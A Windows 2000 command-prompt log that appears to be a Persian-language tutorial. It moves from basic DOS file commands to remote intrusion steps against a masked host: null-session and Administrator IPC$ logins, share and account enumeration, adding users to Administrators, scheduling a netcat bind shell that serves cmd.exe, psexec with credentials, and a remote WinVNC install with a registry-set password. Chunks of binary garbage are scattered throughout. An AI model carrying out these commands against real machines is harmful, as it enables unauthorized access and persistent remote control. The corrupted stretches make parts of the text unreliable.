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Microsoft Windows 2000 [Version 5.00.2195] 

(C) Copyright 1985-1999 Microsoft Corp. 

 

I:\> 
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I:\> C: 

�6
�����������^��������.�@�1SZeaSX������t����6
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C:\>  

����L
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C:\> dir 

�^������h��

��L�E���_�

 Volume in drive C is FREE-START 

 Volume Serial Number is 3623-07E6 

 

 Directory of C:\ 

 

09/06/2003  06:29a      <DIR>          GAMES 

08/15/2003  06:20p           1,806,727 phpMyAdmin-2.5.3-rc1-php.zip 

06/17/2002  07:06p      <DIR>          upload 

06/19/2002  07:02p      <DIR>          mailserver 

09/13/2002  03:59a               8,053 port-tcp-c.c 

02/27/2003  10:28p      <DIR>          mp3 

04/18/2003  07:38a               1,152 araz.pl 

               3 File(s)      1,815,932 bytes 

               4 Dir(s)      95,502,336 bytes free 
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C:\> cd games 
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C:\GAMES> 
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�N
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���I�6;�26�)�_�

 Volume in drive C is FREE-START 

 Volume Serial Number is 3623-07E6 

 

 Directory of C:\GAMES 

 

09/06/2003  06:29a      <DIR>          . 

09/06/2003  06:29a      <DIR>          .. 

09/06/2003  06:29a      <DIR>          FORMULA1 



09/06/2003  06:35a      <DIR>          SP 

09/06/2003  06:36a      <DIR>          SUPER 

09/06/2003  06:39a      <DIR>          UF 

               0 File(s)              0 bytes 

               6 Dir(s)      95,502,336 bytes free 
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C:\GAMES> cd . 

���I�6;�2��M�_�

C:\GAMES> 
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C:\GAMES> cd .. 
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C:\> 
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C:\> type araz.pl 

���I�6;���26�)�_�

#!/usr/bin/perl 

print "Content-type: text/html\n\n"; 

 

use Socket; 

my ($remote, $port, @thataddr, $that, $them, $proto, $getpage ); 

 

$remote = shift || 'www.securitytracker.com'; 

$port = 80; 

@thataddr=gethostbyname($remote) or die "Not Connected"; 

 

$that=pack('Sna4x8',AF_INET, $port, $thataddr[4]); 

$proto=getprotobyname('tcp'); 

 

socket(SOCK, PF_INET, SOCK_STREAM, $proto) or die $!; 

connect(SOCK, $that) or die $!; 

........ 
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C:\> echo salam bar to > ali1000.txt 
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C:\> copy con ali1000.txt 
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C:\> type ali1000.txt 
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C:\> md tur2 
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C:\> cd tur2 
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C:\tur2> md far30 
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 Volume in drive C is FREE-START 

 Volume Serial Number is 3623-07E6 

 

 Directory of C:\tur2 

 

10/04/2003  07:17p      <DIR>          . 

10/04/2003  07:17p      <DIR>          .. 

10/04/2003  07:18p      <DIR>          far30 

               0 File(s)              0 bytes 

               3 Dir(s)      95,477,760 bytes free 
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C:\tur2> copy c:\ali1000.txt c:\tur2\far30 
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C:\tur2> copy c:\ali1000.txt d: 
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C:\tur2> del c:\ali1000.txt 
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C:\> del ali1000.txt 
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cd 
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c:\tur2 
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C:\> cd c:\tur2\far30 

��M�byZ���6�
�� 2��f��������_�

 Volume in drive C is FREE-START 

 Volume Serial Number is 3623-07E6 

 



 Directory of C:\tur2\far30 

 

10/04/2003  07:18p      <DIR>          . 

10/04/2003  07:18p      <DIR>          .. 

10/04/2003  07:08p                  15 ali1000.txt 

               1 File(s)             15 bytes 

               2 Dir(s)      95,477,760 bytes free 
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C:\tur2\far30> move ali1000.txt c:\tur2 
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C:\tur2\far30> cd .. 
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C:\tur2> rd far30 
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C:\tur2> ren ali1000.txt araz.inc  
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C:\tur2> copy araz.inc ali1000.inc 
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C:\tur2> move a*.inc c:\ 
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C:\tur2> move *.* c:\ 
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C:\tur2> I: 
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I:\> cd winnt 
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I:\winnt> dir /p 
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I:\winnt> dir /? 
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I:\winnt> cd .. 

I:\> C: 
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C:\> dir i:\winnt /p 
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C:\> dir %SystemRoot% 
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C:\> dir i:\cmd.exe /s 

���I�6;���26�)�_�

 Volume in drive I has no label. 

 Volume Serial Number is DC24-A09D 

 

 Directory of i:\WINNT\system32 

 

12/07/1999  04:00a             236,304 cmd.exe 

               1 File(s)        236,304 bytes 

 

 Directory of i:\WINNT\system32\dllcache 

 

12/07/1999  04:00a             236,304 cmd.exe 

               1 File(s)        236,304 bytes 

 

     Total Files Listed: 

               2 File(s)        472,608 bytes 

               0 Dir(s)   1,255,153,664 bytes free 
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i:\WINNT\system32 

i:\WINNT\system32\dllcache 
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C:\> attrib +h ali1000.inc 
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C:\> dir ali1000.inc /a 
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C:\> attrib -h ali1000.inc 
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I:\WINNT\system32> tftp.exe 
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C:\> i:\winnt\system32\tftp.exe 
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Transfers files to and from a remote computer running the TFTP service. 

 

TFTP [-i] host [GET | PUT] source [destination] 

 

  -i              Specifies binary image transfer mode (also called 

                  octet). In binary image mode the file is moved 

                  literally, byte by byte. Use this mode when 

                  transferring binary files. 

  host            Specifies the local or remote host. 

  GET             Transfers the file destination on the remote host to 

                  the file source on the local host. 

  PUT             Transfers the file source on the local host to 

                  the file destination on the remote host. 

  source          Specifies the file to transfer. 

  destination     Specifies where to transfer the file. 
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Transfer successful: 59392 bytes in 1 second, 59392 bytes/s 
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net help 
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The syntax of this command is: 

 

NET HELP command 

      -or- 

NET command /HELP 

 

   Commands available are: 

 

   NET ACCOUNTS             NET HELP              NET SHARE 

   NET COMPUTER             NET HELPMSG           NET START 

   NET CONFIG               NET LOCALGROUP        NET STATISTICS 

   NET CONFIG SERVER        NET NAME              NET STOP 

   NET CONFIG WORKSTATION   NET PAUSE             NET TIME 

   NET CONTINUE             NET PRINT             NET USE 

   NET FILE                 NET SEND              NET USER 

   NET GROUP                NET SESSION           NET VIEW 

 

   NET HELP SERVICES lists the network services you can start. 

   NET HELP SYNTAX explains how to read NET HELP syntax lines. 

   NET HELP command | MORE displays Help one screen at a time. 
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net help time 
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net time /help 

�����9�>�m6����.� �

� �

P�v�VNQ�MNOabLp_�� �

��60	���
�����0g�]%X���B�����')��
�
���
�� �����K�C��
�B������^�����;�����6¡����²�����������'g������������

��60	��
���
����B��3
����6������0^���9��H5;����
��]%X�$%&Sa#���������70	���.����T���L
6(�p�

net share shanguli_mangul_habbeye_angur 
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This shared resource does not exist. 

 

More help is available by typing NET HELPMSG 2310. 
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net use \\xxx.xxx.xxx.xxx\IPC$ "yechizi" /user:"Administrator" 
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net use \\xxx.xxx.xxx.xxx\IPC$ "" /user:"" 
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net use * \\xxx.xxx.xxx.xxx\SharedDocs 
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net use H: \\xxx.xxx.xxx.xxx\SharedDocs 
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net use /delete H: 
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net view \\xxx.xxx.xxx.xxx 
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Shared resources at \\xxx.xxx.xxx.xxx 

 

Share name   Type         Used as  Comment 

 

------------------------------------------------ 

SharedDocs   Disk 

The command completed successfully. 
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net share 
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Share name   Resource                        Remark 

 

------------------------------------------------------------------------------- 

F$           F:\                             Default share 

IPC$                                         Remote IPC 

D$           D:\                             Default share 

I$           I:\                             Default share 

G$           G:\                             Default share 

E$           E:\                             Default share 

ADMIN$       I:\WINNT                        Remote Admin 

H$           H:\                             Default share 

C$           C:\                             Default share 

J$           J:\                             Default share 

The command completed successfully. 
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net share C$ /delete 
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net share C$=C: 
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net share info=c:\ali 
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net accounts 
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Force user logoff how long after time expires?:       Never 

Minimum password age (days):                          0 

Maximum password age (days):                          42 

Minimum password length:                              0 

Length of password history maintained:                None 

Lockout threshold:                                    Never 

Lockout duration (minutes):                           30 

Lockout observation window (minutes):                 30 

Computer role:                                        SERVER 

The command completed successfully. 
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net user 
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User accounts for \\computer-name 

 

------------------------------------------------------------------------------- 

Administrator            ali                      araz 

ASPNET                   Guest                     

The command completed successfully. 
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net user guest 
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User name                    Guest 

Full Name 

Comment                      Built-in account for guest access to the computer/domain 



User's comment 

Country code                 000 (System Default) 

Account active               No 

Account expires              Never 

 

Password last set            10/27/2003 2:58 AM 

Password expires             Never 

Password changeable          10/27/2003 2:58 AM 

Password required            No 

User may change password     No 

 

Workstations allowed         All 

Logon script 

User profile 

Home directory 

Last logon                   Never 

 

Logon hours allowed          All 

 

Local Group Memberships      *Guests 

Global Group memberships     *None 

The command completed successfully. 
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net user vahid yechizi /add 
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net user vahid /delete 
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net localgroup 
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Aliases for \\Computer-name 

 

------------------------------------------------------------------------------- 

*Administrators           *Backup Operators         *Debugger Users 

*DHCP Administrators      *DHCP Users               *Guests 

*Power Users              *Replicator               *Users 

The command completed successfully. 
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net localgroup Administrators 
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Alias name     Administrators 

Comment        Administrators have complete and unrestricted access to the 

computer/domain 

 

Members 

 

------------------------------------------------------------------------------- 

Administrator 

ali 

araz 

The command completed successfully. 
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net localgroup Administrators ali /delete 
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net localgroup Administrators ali /add 
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net session 
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net session \\xxx.xxx.xxx.xxx /delete 
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net send Administrator Salam Refig 

���6���2�t�C�V����E�1�3
��������M�.�V@������
�(����'�����2�6d���M�#%##ye]��� �0	�7�����2�t�C�3�'�� �(������L
6(�_�



net send /users Salam Refig 
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sc \\xxx.xxx.xxx.xxx start schedule 
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SERVICE_NAME: schedule 

        TYPE               : 120  WIN32_SHARE_PROCESS (interactive) 

        STATE              : 2  START_PENDING 

                                (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) 

        WIN32_EXIT_CODE    : 0  (0x0) 

        SERVICE_EXIT_CODE  : 0  (0x0) 

        CHECKPOINT         : 0x0 

        WAIT_HINT          : 0x7d0 
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[SC] StartService FAILED 1056: 

 

An instance of the service is already running. 
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at \\xxx.xxx.xxx.xxx 11:25P "c:\something\nc -l -p 22 -e cmd.exe" 
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at \\xxx.xxx.xxx.xxx 
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Status ID   Day                     Time          Command Line 
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        1   Today                   12:25 PM      c:\something\nc -l -p 22 -e cmd.exe 
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soon \\xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe" 

���(�'�YX�������60	��3
�� ����+��6E�9�6¡�����(6���^����;�n���V6��6�����6B*���(��p�o�� �

� �

&e�y]�������
�.� �

� �



x����������C�B]�������F������Y���
� �

� �

²�v�RNp_�� �

������������
���
�������0L�;��V�������t���������5���3
��.V6'���0L^(���6�D�����
��^C��0g���
����l�j������6j���
��n��!�
���


��
Z%aeX%�`e]XZe&�0�������!����M���
�������o�������(������;�������(6�Z%�%byX�n�����V���V�����
�������T�[\]�
���
���o���

��)����0)����	�0	���!����M�9�6¡����
���
����0L�;��.���� �
������t�������0L�;����0��9�6¡����3
�6d���M���E�

�5���
����^���6,����^���=O���3
�����L�(�3!'��
���
���6�������5���2�(������Z%��
����[¹�
��M�������.�����f��6�
�Z%�y#XZz�

�	���	�L1�9�O�j�����1�
���
��.���!(�+�'O������t��������0��� �
���(�K���:;��������K(����M�.� �

Z%��NT�����#`���YX�9�6¡���������+��6E�9�6¡�������Z%aeX%�	�����70	��N��g��.��E�1�����M�Z%aeX%�������70	��3
�6��

��
��
����'01� ����]%X�ye#�#%##ye]��	�0	��AB	��������
���N�!^���bay]y#XZYXeZ�)����.��6«�������������5���3
��
��@6'"�

������70	�������_������V����¢�C���V�������m�nw%z�o��������n%]XZz�.o�NT��������� �
��f�����	������/g�������
�6d���M�

���������	����E6��T����N
���N�.����������
�6d���M���T�É¹��£WexX§YZ%£�z�e£�ZY��9�6¡�����������
��ey]XÍ��.������

��� ��)���+��6E�9�6¡�����M��5�(�����������m����L
6(�_�

REG ADD HKLM\Software\MyCo\Araz\Point=20.00 
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REG ADD HKLM\Software\MyCo\Araz\Point=20.00 \\xxx.xxx.xxx.xxx 
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REG DELETE HKLM\Software\MyCo\Araz\ /FORCE 
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REG DELETE HKLM\Software\MyCo\Araz\ \\xxx.xxx.xxx.xxx /FORCE 
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HKLM\Software\MyCo\Araz 

     Point = REG_SZ 20.00 
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regini -m \\xxx.xxx.xxx.xxx Araz.ini 
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gettype /v 
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Windows NT [Enterprise/Terminal] Server Non-Domain Controller 
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whoami 
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[Group   1] = "Everyone" 

[Group   2] = "LOCAL" 

[Group   3] = "IUSR_xxxx-yyyy" 
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local Administrators \\xxx.xxx.xxx.xxx 
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showgrps 
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User: [computer-name\Administrator], is a member of: 

 

  computer-name\Administrators 

  \Everyone 
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showgrps guest 
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User: [[computer-name\guest], is a member of: 

 

  \Everyone 

  [computer-name\Guests 
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perms administrator c: 
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        c:\             perms: #------- 
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perms guest d:\wwwroot 
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        d:\wwwroot\             perms: No Access 
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        d:\wwwroot\             perms: #RWXDPOA 
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R Read 

W Write 

X Execute 

D Delete 

P Change Permissions 

O Take Ownership 

A General All 

- No Access 

* The specified user is the owner of the file or directory. 

# A group the user is a member of owns the file or directory. 

? The user's access permisssions can not be determined. 
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showacls /s /u:guest j:\wwwroot\ 
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Error: Volume type incorrect [FAT32] 
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User: [\guest] 

has the following access to directory [j:\wwwroot\]: 

 

j:\wwwroot\ 

 

j:\wwwroot 

 

j:\wwwroot\ali 

                NT AUTHORITY\SYSTEM       Read [RX] 

                Everyone                  Read [RX] 

                NT AUTHORITY\SYSTEM       Read [RX] 

                CREATOR GROUP             Read [RX] 

                BUILTIN\Administrators    Change [RWXD] 

                CREATOR OWNER             Change [RWXD] 
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R GENERIC_READ 

W GENERIC_WRITE 

X GENERIC_EXECUTE ) 

D DELETE 

A GENERIC_ALL 

d FILE_READ_DATA (directory) 

l FILE_READ_DATA (file) 

s SYNCHRONIZE 

r FILE_READ_DATA 

w FILE_WRITE_DATA 

a FILE_APPEND_DATA 

rE FILE_READ_EA 

wE FILE_WRITE_EA 

fx FILE_EXECUTE 
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rmtshare \\xxx.xxx.xxx.xxx\mydata=c:\info /GRANT guest:read 
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rmtshare \\xxx.xxx.xxx.xxx\mydata /DELETE 
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netcmd \\xxx.xxx.xxx.xxx\Araz 
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srvcheck \\xxx.xxx.xxx.xxx 
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sclist 

sc query 
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netsvc /list \\xxx.xxx.xxx.xxx 
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sclist | find "Schedule" 

sc query Schedule  

sc query Schedule | find "STATE" 

sc qc Schedule  
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netsvc Schedule \\xxx.xxx.xxx.xxx /query 

netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /query 

sc \\xxx.xxx.xxx.xxx query Schedule  

sc \\xxx.xxx.xxx.xxx query Schedule | find "STATE" 

sc \\xxx.xxx.xxx.xxx qc Schedule  
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net stop Schedule 

net stop "Task Scheduler" 

sc stop Schedule 
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netsvc Schedule \\xxx.xxx.xxx.xxx /stop 

netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /stop 

sc \\xxx.xxx.xxx.xxx stop Schedule 
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net start "Task Scheduler" 

sc start Schedule 
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netsvc Schedule \\xxx.xxx.xxx.xxx /start 

netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /start 

sc \\xxx.xxx.xxx.xxx start Schedule 
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net pause Schedule 

net pause "Task Scheduler" 
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netsvc Schedule \\xxx.xxx.xxx.xxx /pause 

netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /pause 

sc \\xxx.xxx.xxx.xxx pause Schedule 
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net continue Schedule 

net continue "Task Scheduler" 

sc continue Schedule 
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netsvc TermsService \\xxx.xxx.xxx.xxx /continue 

netsvc "Task Scheduler" \\xxx.xxx.xxx.xxx /continue 

sc \\xxx.xxx.xxx.xxx continue Schedule 
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sc delete Schedule 

instsrv Schedule remove 

delsrv Schedule 
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sc \\xxx.xxx.xxx.xxx delete Schedule 
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instsrv Schedule zzzzz 
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sc  \\xxx.xxx.xxx.xxx create Schedule  binPath=zzzz 
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sc GetDisplayName schedule 
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remote /c xxx.xxx.xxx.xxx zzzzzz 
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psexec \\xxx.xxx.xxx.xxx -u Ali -p thepassword cmd.exe 
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HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3 



    SocketConnect = REG_DWORD 0x00000001 

    Password = 0x00000008 0x57bf2d2e 0x9e6cb06e 
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regini -m \\xxx.xxx.xxx.xxx winvnc.ini 
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winvnc -install 

net start winvnc 
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